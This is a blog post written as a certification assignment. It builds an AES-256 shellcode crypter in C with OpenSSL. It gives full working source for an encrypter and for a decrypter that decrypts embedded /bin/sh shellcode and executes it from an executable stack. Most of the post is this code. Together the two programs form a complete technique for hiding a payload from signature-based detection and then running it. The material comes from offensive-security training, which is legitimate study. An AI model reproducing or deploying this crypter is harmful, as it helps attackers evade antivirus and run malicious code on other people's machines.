Posts Tagged aes

Assignment 7: Shellcode Crypter


Create a custom crypter. You may use any encryption schema, and the programming language of your choice.


 

For this assignment, we will create an AES shellcode crypter. I have chosen to use the EVP family of functions, which are provided by openssl library. These offer a high level interface to the various encryption schemes implemented by openssl, and is better to use it, instead of writing our own implementation of AES. Of course, that means that we are introducing a dependency for those libraries to be present on the system executing the decrypter. This is rather safe to assume, as libcrypto is probably universally present.

We will use AES-256, in counter mode (CTR). The key will be 256bits in size. Instead of manually generating this, we can use a HASH function to generate a hash, for a string of our choice. For example:

a7p1

The output of the hash function will then become our key used in AES. For the initial vector value (IV) we will use a random 16 byte value, generated again with the help of openssl functions. This will be different every time the encrypter executes, and will need to be fed into the decrypter to properly decrypt our shellcode.

The following listing presents the encrypter program:


// aes shellcode crypter
// compile:   gcc encshellcode.c -lcrypto -o encshellcode
//
// INPUT:     shellcode
//            key
// OUTPUT:    IV
//            encrypted shellcode
// StudentID: SLAE645

#include <stdio.h>
#include <openssl/evp.h>
#include <openssl/rand.h>

void print_bytes (unsigned char arr[], int size)
{
int i;
for (i = 0; i < size; i++)
{

printf("\\x%02x", arr[i]);
}
printf("\n");
}

int main()
{
EVP_CIPHER_CTX ctx;
// <><><> Input the shellcode to be encrypted
unsigned char shellcode[]=\
"\xeb\x0d\x5e\x31\xc9\xb1\x19\x80\x36\xaa\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a";

// <><><> Input the key for encryption
// max length 64 characters (512 bits), we will use 32 (256 bits)
// echo "slae" | sha256sum -->> 825283f16463886dfd671599fb0aa61345e65f5ec8d46d2818ea9e56fe471f37
unsigned char key[EVP_MAX_KEY_LENGTH] = "\x82\x52\x83\xf1\x64\x63\x88\x6d\xfd\x67\x15\x99\xfb\x0a\xa6\x13\x45\xe6\x5f\x5e\xc8\xd4\x6d\x28\x18\xea\x9e\x56\xfe\x47\x1f\x37";

unsigned char iv[EVP_MAX_IV_LENGTH]="";
unsigned char out[sizeof(shellcode)];
unsigned char decout[sizeof(out)];

int declen1, declen2;
int outlen1, outlen2;

RAND_bytes(iv, EVP_MAX_IV_LENGTH);
printf ("[*] IV used for encryption:\n");
print_bytes(iv, sizeof(iv));
printf("\n");

EVP_EncryptInit(&ctx, EVP_aes_256_ctr(), key, iv);
EVP_EncryptUpdate(&ctx, out, &outlen1, shellcode, sizeof(shellcode)-1);
EVP_EncryptFinal(&ctx, out + outlen1, &outlen2);

printf("[*] We have read %d bytes of shellcode, and generated %d bytes of encrypted output\n\n", sizeof(shellcode)-1, outlen1+outlen2);

printf(" --- Encrypted shellcode ---\n");
print_bytes(out, sizeof(out)-1);
printf("\n");

printf(" --- Hex-dump of encrypted shellcode ---\n");
BIO_dump_fp(stdout, out, sizeof(out)-1);
EVP_CIPHER_CTX_cleanup(&ctx);

printf("\n --- Decryption routine (check) ---\n");
EVP_CIPHER_CTX ctx2;
EVP_DecryptInit(&ctx2, EVP_aes_256_ctr(), key, iv);
EVP_DecryptUpdate(&ctx2, decout, &declen1, out, sizeof(out)-1);
EVP_DecryptFinal(&ctx2, decout + declen1, &declen2);
BIO_dump_fp(stdout, decout, sizeof(decout)-1);
EVP_CIPHER_CTX_cleanup(&ctx2);

EVP_cleanup();
CRYPTO_cleanup_all_ex_data();
return 0;
}

We need to provide the shellcode we want to encrypt, and the key. Compile and execute:

a7p2

The encrypted shellcode is generated, along with the IV that was used for this run. At the bottom, the program perfroms a decryption, just as a check to see what the decrypted code will look like.

If we execute the program again, a different IV is generated and of course a different encrypted shellcode:

a7p3

We can now write the decrypter program. We will use the IV and encrypted output from the last run of our encrypter. The code is presented below:


// aes shellcode decrypter and execution
// compile:   gcc decshellcode.c -lcrypto -fno-stack-protector -zexecstack -o decshellcode
//
// INPUT:     encrypted shellcode
//            key
//            IV
// OUTPUT:    shellcode (executed)
// StudentID: SLAE645

#include <stdio.h>
#include <openssl/evp.h>
#include <openssl/rand.h>

void print_bytes (unsigned char arr[], int size)
{
int i;
for (i = 0; i < size; i++)
{

printf("\\x%02x", arr[i]);
}
printf("\n");
}

int main()
{
EVP_CIPHER_CTX ctx2;

// <><><> Input the encrypted shellcode generated from encshellcode executable
unsigned char encshellcode[]=\
"\x2c\xf5\xc7\xd9\x13\x1b\xd4\x3e\x13\x5e\xf9\xc0\xea\x7e\x14\xce\x8a\xc4\xe7\x6e\x6f\x52\x0e\x28\x5b\xe7\x2c\x94\x70\x43\x35\x10\x80\x74\xf8\x33\x1e\x1f\xc7\x74\x0e\xc8\x04\xb4\xeb";

// <><><> Input the key you used during encryption
// max length 64 characters (512 bits), we will use 32 (256 bits)
// echo "slae" | sha256sum -->> 825283f16463886dfd671599fb0aa61345e65f5ec8d46d2818ea9e56fe471f37
unsigned char key[EVP_MAX_KEY_LENGTH] = "\x82\x52\x83\xf1\x64\x63\x88\x6d\xfd\x67\x15\x99\xfb\x0a\xa6\x13\x45\xe6\x5f\x5e\xc8\xd4\x6d\x28\x18\xea\x9e\x56\xfe\x47\x1f\x37";
// <><> <> Input the IV generated during encryption
unsigned char iv[EVP_MAX_IV_LENGTH]="\xc7\x4d\x24\xf7\xf0\x1b\xd0\xb0\xa2\xc2\x6d\x25\x84\x8b\x54\x2f";
unsigned char decout[sizeof(encshellcode)];
int declen1, declen2;

int (*ret)() = (int(*)())decout;

EVP_DecryptInit(&ctx2, EVP_aes_256_ctr(), key, iv);
EVP_DecryptUpdate(&ctx2, decout, &declen1, encshellcode, sizeof(encshellcode)-1);
EVP_DecryptFinal(&ctx2, decout + declen1, &declen2);
printf("[*] We have read %d bytes, and generated %d bytes of decrypted output\n", sizeof(encshellcode)-1, declen1+declen2);
printf("\n --- Decrypted shellcode dump ---\n");
BIO_dump_fp(stdout, decout, sizeof(decout)-1);
EVP_CIPHER_CTX_cleanup(&ctx2);

EVP_cleanup();
CRYPTO_cleanup_all_ex_data();

printf("\n");
print_bytes(decout, sizeof(decout)-1);
printf("Calling decrypted code...\n\n");
ret();
printf("\n\n");
return 0;
}

 

Compile and run the decrypter:

a7p4

The shellcode is decrypted and run, a new /bin/sh is launched.

We can examine the libraries that our decrypter uses via the ldd command:

a7p5

Alternatively, we can load it into gdb, and execute “info sharedlibrary”

a7p6

 


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-645


 

, , , ,

Leave a comment

Design a site like this with WordPress.com
Get started